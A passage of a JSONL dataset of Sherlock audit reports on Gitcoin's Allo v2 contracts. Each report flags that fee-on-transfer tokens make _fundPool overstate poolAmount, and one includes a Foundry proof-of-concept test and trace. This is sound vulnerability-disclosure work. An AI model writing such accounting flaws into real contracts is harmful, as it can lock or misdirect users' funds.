value is gotten after Allo contract sends the protocol's percentage to the treasury. The `amountAfterFee` will still be further deducted from by the fee on transfer token contract during the operation. This means that in actual sense a lower amount is actually credited to the receiving pool. But the pool amount is updated with `amountAfterFee` in the ` _strategy.increasePoolAmount(amountAfterFee);` call. This is wrong and the correct value to update with should be `amountAfterFee - the transfer tax deducted by the token contract`. \n\nsteps to vuln are : \n- pool is to be funded with 100 fee on transfer token. token has a tax of 5% on every transfer. \n- fundPool() is called in allo.sol. percentage fee is 5% in allo so 5 tokens are sent to treasury but after fee on transfer token tax, 4.75 tokens go to treasury while the token contract takes the 0.25%. \n- now `100 - 5 = 95` tokens are left. 95 tokens is the `amountAfterFee` and 95 tokens are to be transferred to the pool strategy contract. Since this is another transfer operation, the token contract takes another 5% tax which is `95 * 5/100 = 4.75`. So in actuality, 95 -4.75 = 90.25 is credited to the pool by the fee on token contract. \n- But this additional tax is not removed from the `amountAfterFee` before it is used to update the `poolAmount` variable in the pool strategy contract. Thus the poolAmount is updated to be 95 instead of 90.25 which is the actual amount of tokens sent to the contract after all fees have been taken. \n\n## Impact\nThis bug will mean that the pool's internal token accounting will be larger than actual token balance. During distributions internal accounting will be affected as internal accounting may have a value greater than actual token balance of the pool. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339\n```solidity\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nin the snippet above, there is no accomadation for a second tax removal by a fee on transfer token in the `fundPool()` fcn logic. The possibility of a token taking its own tax on transfer is completely ignored here and the pool strategy contract is updated with the wrong value. \n\nbelow is the `increasePoolAmount` fcn in BaseStrategy.sol\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153\n```solidity\n\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\ncheck the contract balances before and after token transfers and use that to determine the actual amount transferred to the pool contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/250.md"}} +{"title":"Protocol does not really work with fee-on-transfers tokens","severity":"medium","body":"Quiet Seaweed Beaver\n\nmedium\n\n# Protocol does not really work with fee-on-transfers tokens\nProtocol does not handle well when ERC20 fee-on-transfers and rebasing token is used\n\n## Vulnerability Detail\nFunction `Allo#_fundPool` directly increase `poolAmount` variable with calculated variable of value that being calculated after fee:\n\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\nincreasePoolAmount function:\n\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\nWhen token is fee-on-transfers token, the actual token amount is not same as old amount of token, which make different between `poolAmount` variable and actual number of token in pool\n\n## Impact\nSome functions can be failed to execute due to lack of token in pool\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L502-#L529\n\n## Tool used\nManual Review\n\n## Recommendation\nUse pre-and-post balance pattern to get actual number of token deposited","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/213.md"}} +{"title":"Users cannot claim tokens in `DonationVotingMerkleDistributionVaultStrategy` if fee-on-transfer tokens are used.","severity":"medium","body":"Clumsy Pecan Jay\n\nmedium\n\n# Users cannot claim tokens in `DonationVotingMerkleDistributionVaultStrategy` if fee-on-transfer tokens are used.\n\n`DonationVotingMerkleDistributionVaultStrategy` allows anyone to vote by sending a token to the contract and the recipient can call `claim` to receive those tokens.\nHowever, the accounting is incorrect if fee-on-transfer tokens are used. The recipient won't be able to claim those tokens and they will be permanently locked in the contract.\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L70\n```solidity\n function claim(Claim[] calldata _claims) external nonReentrant onlyAfterAllocation {\n-------------\n Claim memory singleClaim = _claims[i];\n Recipient memory recipient = _recipients[singleClaim.recipientId];\n uint256 amount = claims[singleClaim.recipientId][singleClaim.token];\n-------------\n address token = singleClaim.token;\n\n // Transfer the tokens to the recipient\n _transferAmount(token, recipient.recipientAddress, amount);\n-------------\n }\n }\n-------------\n function _afterAllocate(bytes memory _data, address _sender) internal override {\n // Decode the '_data' to get the recipientId, amount and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n // Get the token address\n address token = p2Data.permit.permitted.token;\n uint256 amount = p2Data.permit.permitted.amount;\n-------------\n } else {\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n }\n\n // Update the total payout amount for the claim\n claims[recipientId][token] += amount;\n }\n```\n\nIn the above snippet you can see that on allocation `claims[recipientId][token] += amount;` is set.\nIn fee-on-transfer tokens the actual balance after fee will be less then `amount`.\n\nTherefore - at `claim` function `_transferAmount(token, recipient.recipientAddress, amount);` will either:\n1. Take funds from the contract balance which is allocated to another user\n2. Revert because there are insufficient funds (taken by the above option)\n\n## Impact\n\nAccounting mismatch between the actual balance and allocated balance.\nUsers will receive other users funds or not receive funds at all.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAt allocation when `claims` is updated, update the actual balance added:\n```solidity\n } else {\n uint256 balanceBefore = IERC20(token).balanceOf(address(this));\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n uint256 balanceAfter= IERC20(token).balanceOf(address(this));\n amount = balanceAfter - balanceBefore;\n }\n\n // Update the total payout amount for the claim\n claims[recipientId][token] += amount;\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/208.md"}} +{"title":"Funding using a fee-on-transfer token will prevent payments","severity":"medium","body":"Clumsy Pecan Jay\n\nmedium\n\n# Funding using a fee-on-transfer token will prevent payments\n\nStrategies funded through `Allo` allocate a higher amount of tokens to the pool then the actual balance of the strategy when fee-on-transfer tokens are used\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\nAs can be seen above - `increasePoolAmount` is called with `amountAfterFee` which does not include the fee taken from the `_transferAmountFrom` call.\n\nThis can prevent distribution for example on RFP strategies with a single milestone and a proposalBid of the pool amount:\n```solidity\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n```\n\n`_transferAmount` will fail because the contract has insufficient tokens\n\n## Impact\n\nLoss of funds\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider changing the funding logic to check for the real balance of the strategy:\n```solidity\n uint256 balanceBefore = IERC20Upgradeable(_token).balanceOf(address(_strategy));\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n uint256 balanceAfter = IERC20Upgradeable(_token).balanceOf(address(_strategy));\n _strategy.increasePoolAmount(balanceAfter - balanceBefore);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/204.md"}} +{"title":"Inaccurate pool value increase with use of fee-on-transfer tokens","severity":"medium","body":"Ambitious Brick Ladybug\n\nmedium\n\n# Inaccurate pool value increase with use of fee-on-transfer tokens\nThe system allows any ERC-20 token to be used for funding pools. However, the current implementation does not account for tokens that implement a fee-on-transfer mechanism. Using such tokens can lead to discrepancies in the `poolAmount` due to the automatic fee deductions during transfers.\n\n## Vulnerability Detail\nFee-on-transfer tokens automatically deduct a fee for every transaction. This means that the transferred amount, in actuality, is lesser than what's intended by the sender. The `_fundPool` function in the Allo contract attempts to deduct an internal fee and then sends the amount to the specified strategy. This is followed by the `increasePoolAmount` function, which directly increases the `poolAmount` with the `_amount` specified.\n\nHowever, if a fee-on-transfer token is used, the `amountAfterFee` value that reaches the strategy will be less than the intended `amountAfterFee` due to the automatic deductions. But, the `increasePoolAmount` method will still consider the full `amountAfterFee` to increase the poolAmount. This leads to the `poolAmount` being inflated more than the actual value transferred.\n```solidity\n _strategy.increasePoolAmount(amountAfterFee);\n```\n\n## Impact\nThe `poolAmount` will display more funds than what's actually present in the strategy, leading to incorrect data calculation and excessive reverts.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\n## Tool used\n\nManual Review\n\n## Recommendation\nVerify the actual amount received in the strategy before updating the `poolAmount`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/187.md"}} +{"title":"_fundPool / BaseStrategy doesn't properly support feeOnTransfer tokens","severity":"medium","body":"Tart Holographic Lion\n\nmedium\n\n# _fundPool / BaseStrategy doesn't properly support feeOnTransfer tokens\n\nBecause `_fundPool` in `Allo.sol` calls ` _strategy.increasePoolAmount(amountAfterFee);` which incorrectly updates the `poolAmount` for fee on transfer tokens, distributions can be messed up. \n\n## Vulnerability Detail\n\n`_fundPool` in `Allo.sol` calls ` _strategy.increasePoolAmount(amountAfterFee);`\n\nThis function increases the `poolAmount` in the strategy by `amountAfterFee`. However, in the case of fee-on-transfer tokens this is incorrect -- the `poolAmount` should increase by something smaller than `amountAfterFee` (since the strategy will receive less tokens than `amountAfterFee`). \n\nAll strategies that derive from `BaseStrategy` will have messed up distributions due to this. As an example, in QVBaseStrategy, the amount of distribution is calculated with this formula:\n\n`amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;`\n\nConsider the case where we are trying to pay out all recipients with the fee on transfer token -- because `poolAmount` is higher than the amount of the token we have in the first place, we will attempt to transfer out more of the token than we actually can, which can cause it to revert. If `distribute` is called on the strategy with an individual recipient id, the individual recipient will get more than they are supposed to -- for example, if a participant is supposed to get 50% of the strategy contract's allocation, they will get 50% of `poolAmount`, which is higher than 50% of the strategy contract's token balance and thus incorrect. This will lead to reverts when trying to distribute to some of the later recipients, because the strategy contract just doesn't have enough funds. \n\n## Impact\n\nDistributions will be incorrect (and potentially revert in some cases). \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInstead of having a `increasePoolAmount` function, just have a `updatePoolAmount` function that updates the `poolAmount` by checking the strategy contract's balance of the pool's ERC20 token.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/175.md"}} +{"title":"Fee on Transfer tokens are incorrectly accounted in `_fundPool`","severity":"medium","body":"Rhythmic Lime Pig\n\nmedium\n\n# Fee on Transfer tokens are incorrectly accounted in `_fundPool`\nIncorrect accounting for FoT tokens in `_fundPool`.\n\n## Vulnerability Detail\nProtocols supports all kinds of tokens\n> Do you expect to use any of the following tokens with non-standard behaviour with the smart contracts?\nYes as we support all ERC20 tokens.\n\n>Are there any FEE-ON-TRANSFER tokens interacting with the smart contracts?\nYes. When funding a pool on Allo.sol\n\nBut when funding pool `FEE-ON-TRANSFER` tokens are not considered, protocol only deducts their fee and transfers the amount to the distribution strategy but FoT tokens subtracts fee while transferring the token.\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);//@audit amountAfterFee could be overstated for FoT tokens and would cause reverts in most cases.\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nAs a result fee charged on transfers by specified token are not considered and `poolAmount` would be overstated an results to wrong accounting within the pool.\n\n## Impact\n[`poolAmount`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L155) would be overstated for FoT tokens and would result to incorrect internal accounting.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\n\n## Tool used\nManual Review\n\n## Recommendation\n```diff\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n+ if (_token != NATIVE) {\n+\tuint256 balanceBefore = IERC20Upgradeable(_token).balanceOf(address(_strategy));\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n+\tamountAfterFee = IERC20Upgradeable(_token).balanceOf(address(_strategy)) - balanceBefore;\n+ }\n+ else {\n+ _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n+ }\n}\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/165.md"}} +{"title":"The protocol is incompatible with fee-on-transfer tokens","severity":"medium","body":"Suave Peanut Panda\n\nmedium\n\n# The protocol is incompatible with fee-on-transfer tokens\nIt is stated that the protocol will interact with all ERC20 tokens. However, fee-on-transfer tokens are treated just as any other ERC20s in the `_fundPool()` function.\n## Vulnerability Detail\nWhile funding a pool through the `_fundPool()` function, the amount passed as an argument (minus the protocol fees, if any) is then added to the `poolAmount` storage variable, which accounts for all the available tokens in strategy. This is an issue in case of deflationary tokens. Since they deduct fees on token transfer, the actual amount held by the contract would be less than the amount written in the `poolAmount` variable.\nThis inconsistency will result in dos of distributions, tokens being stuck at strategy and loss of funds for users. This all applies to QV strategy as it does not have the function to withdraw tokens.\n## Impact\nDos of distributions, tokens being stuck at QV strategy and loss of funds for users.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider comparing an amount before token transfer to amount after and adding the result of the comparison to the `poolAmount`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/159.md"}} +{"title":"Fee-on-transfer tokens aren't supported","severity":"medium","body":"Suave Crimson Peacock\n\nmedium\n\n# Fee-on-transfer tokens aren't supported\n\n`Allo::fundPool()` will not work with fee on transfer token like `USDT`.\n\n## Vulnerability Detail\n\nIn `Allo::_fundPool()`, L517 calls strategy contract to increment the balance of the pool with the amount after deducting `percentFee`.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517-L517\n\nBut this implementation will not work with Fee on transfer token like `USDT`. `BaseStrategy::increasePoolAmount()` takes `_amount` as a parameter and then adds it to the pool.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\n\nBut if Fee on Transfer token is used, the `_amount` passed will be more than the actual balance as some of the tokens from `_amount` will be deducted as a fee for the transfer by the token contract. That means `poolAmount` variable will be updated with the wrong value(more than the actual transferred value).\n\n## Impact\n\n`BaseStrategy::poolAmount` and `BaseStrategy::getPoolAmount()`will show the incorrect balance of the pool.\n\n## Code Snippet\n\n#### code snippet for the test that poves that\n```Javascript\n function test_fundPoolWillNotWorkWithFeeOnTransferToken() public {\n uint256 transferFee = 0.0001 ether;\n uint256 totalSupply = 1_000_000 ether;\n // deploying new fee on transfer token\n TransferFeeToken FTtoken = new TransferFeeToken(totalSupply, transferFee);\n\n // data for the transaction\n uint256 amount = 3 ether;\n uint256 baseFee = 1 ether;\n uint256 percentageFee = 0.1 ether; // 10% fee\n uint256 percentageFeeForTheAmount = amount * percentageFee / 1e18;\n uint256 userBalance = 10_000 ether; // 10k tokens\n\n // creating pool with custom strategy\n vm.prank(pool_admin());\n uint256 poolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(), strategy, \"0x\", address(FTtoken), 0, metadata, pool_managers()\n );\n\n // update base fee and percent fee to non zero values\n allo().updateBaseFee(baseFee);\n allo().updatePercentFee(percentageFee);\n\n // creating user who wants to send the amount\n address user = makeAddr(\"alice\");\n\n // sending tokens to the user\n FTtoken.transfer(user, userBalance);\n\n // checking user has the balance\n assertEq(FTtoken.balanceOf(user), userBalance - transferFee);\n\n vm.startPrank(user);\n // apporving allo to send tokens from user account\n FTtoken.approve(address(allo()), amount + baseFee);\n FTtoken.approve(address(allo().getTreasury()), percentageFee);\n\n // allo should have the allowance\n assertEq(FTtoken.allowance(user, address(allo())), amount + baseFee);\n\n // getting treasury balance before funding\n uint256 strategyPoolBalanceBefore = MockStrategy(payable(strategy)).getPoolAmount();\n uint256 strategyBalanceBefore = FTtoken.balanceOf(strategy);\n assertEq(strategyPoolBalanceBefore, 0);\n\n // sending eth to the pool\n allo().fundPool(poolId, amount + baseFee);\n\n // checking pool balance\n uint256 strategyPoolBalanceAfter = MockStrategy(payable(strategy)).getPoolAmount();\n uint256 strategyBalanceAfter = FTtoken.balanceOf(strategy);\n\n // actual balance of the pool is less than what is inside `poolAmount` variable\n assert(strategyBalanceAfter - strategyBalanceBefore < strategyPoolBalanceAfter);\n\n // actual balance should be this\n assertEq(strategyBalanceAfter - strategyBalanceBefore, strategyPoolBalanceAfter - transferFee);\n\n // should be successfull as the actual balance will be\n vm.stopPrank();\n }\n```\n\n
\n\nCode for the `TransferFeeToken` used in Test \n\n```Javascript\n// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {TestERC20} from \"./TestERC20.sol\";\n\ncontract TransferFeeToken is TestERC20 {\n uint256 immutable fee;\n\n // --- Init ---\n constructor(uint256 _totalSupply, uint256 _fee) public TestERC20(_totalSupply) {\n fee = _fee;\n }\n\n // --- Token ---\n function transferFrom(address src, address dst, uint256 wad) public override returns (bool) {\n require(balanceOf[src] >= wad, \"insufficient-balance\");\n if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {\n require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n }\n\n balanceOf[src] = sub(balanceOf[src], wad);\n balanceOf[dst] = add(balanceOf[dst], sub(wad, fee));\n balanceOf[address(0)] = add(balanceOf[address(0)], fee);\n\n emit Transfer(src, dst, sub(wad, fee));\n emit Transfer(src, address(0), fee);\n\n return true;\n }\n}\n```\n\n```Javascript\n// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract Math {\n // --- Math ---\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x);\n }\n\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x);\n }\n}\n\ncontract TestERC20 is Math {\n // --- ERC20 Data ---\n string public constant name = \"Token\";\n string public constant symbol = \"TKN\";\n uint8 public decimals = 18;\n uint256 public totalSupply;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Approval(address indexed src, address indexed guy, uint256 wad);\n event Transfer(address indexed src, address indexed dst, uint256 wad);\n\n // --- Init ---\n constructor(uint256 _totalSupply) public {\n totalSupply = _totalSupply;\n balanceOf[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n // --- Token ---\n function transfer(address dst, uint256 wad) public virtual returns (bool) {\n return transferFrom(msg.sender, dst, wad);\n }\n\n function transferFrom(address src, address dst, uint256 wad) public virtual returns (bool) {\n require(balanceOf[src] >= wad, \"insufficient-balance\");\n if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {\n require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n }\n balanceOf[src] = sub(balanceOf[src], wad);\n balanceOf[dst] = add(balanceOf[dst], wad);\n emit Transfer(src, dst, wad);\n return true;\n }\n\n function approve(address usr, uint256 wad) public virtual returns (bool) {\n allowance[msg.sender][usr] = wad;\n emit Approval(msg.sender, usr, wad);\n return true;\n }\n}\n```\n\n
\n\n
\n\nOutput for the test\n\n```bash\nRunning 1 test for test/foundry/core/Allo.t.sol:AlloTest\n[PASS] test_amount() (gas: 1074852)\nTraces:\n [1074852] AlloTest::test_amount() \n ā”œā”€ [464695] ā†’ new TransferFeeToken@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9\n ā”‚ ā”œā”€ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 1000000000000000000000000 [1e24])\n ā”‚ ā””ā”€ ā† 1979 bytes of code\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107]\n ā”œā”€ [0] VM::label(pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], pool_manager1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f]\n ā”œā”€ [0] VM::label(pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], pool_manager2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [322150] Allo::createPoolWithCustomStrategy(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x3078, TransferFeeToken: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 0, (1, strategy pointer), [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f])\n ā”‚ ā”œā”€ [2696] Registry::isOwnerOrMemberOfProfile(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1, account: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000001, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1)\n ā”‚ ā”œā”€ [22923] MockStrategy::initialize(1, 0x3078)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [304] MockStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 1\n ā”‚ ā”œā”€ [237] MockStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 1, profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, strategy: MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], token: TransferFeeToken: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amount: 0, metadata: (1, strategy pointer))\n ā”‚ ā””ā”€ ā† 1\n 